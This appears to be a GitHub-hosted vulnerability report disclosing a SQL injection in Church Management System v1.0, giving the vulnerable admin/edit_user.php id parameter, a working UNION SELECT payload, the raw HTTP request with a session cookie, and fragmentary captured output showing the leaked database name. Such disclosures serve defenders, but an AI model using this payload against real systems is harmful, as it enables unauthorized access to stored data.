ᵖ main ▾   ...

bug_report / vendors / Godfrey De Blessed / church-management-system / **SQLi-2.md**

Estbonxby Create SQLi-2.md   ⟳ History

⧖ 1 contributor

31 lines (21 sloc) │ 1.04 KB   ...

Church Management System v1.0 by Godfrey De Blessed has SQL injection

BUG_Author: XuBoyu

Login account: admin/admin (Super Admin account)

vendors: https://www.sourcecodester.com/php/11206/church-management-system.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /cman/admin/edit_user.php?id=

Vulnerability location: /cman/admin/edit_user.php?id=, id

dbname = cman

[+] Payload: /cman/admin/edit_user.php?
id=-1%27%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> id

```
GET /cman/admin/edit_user.php?id=-1%27%20union%20select%201,database(),3,4,5,6--+ HT
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadpj3lc
Connection: close
```

◀ ▶

ad URL | http://192.168.1.19/cman/admin/edit_user.php?id=-1' union select 1,database(),3,4,5,6--+|

plit URL

xecute

☐ Post data ☐ Referrer ◀ 0xHEX ▶ ◀ %URL ▶ ◀ BASE64 ▶ | Insert string to replace | In

urch manager Admin Panel

➕ Add System user

ℹ Note!: Select the che

✏ Edit System User

cman

3

4

💾 Update

🏠 **Dashboard** ➤

👥 manage members ▾➤

👥 manage Teens & S. School ➤

👥 manage Visitors ▾➤

💲 Givings/Tithes ▾➤

👤 System User (s) List

🗑 **Delete**

| 10 | ⌄ | records pe |

▲ NAME

☐ Kithinji Godfre

☐ admin admin

Showing 1 to 2 of 2 ent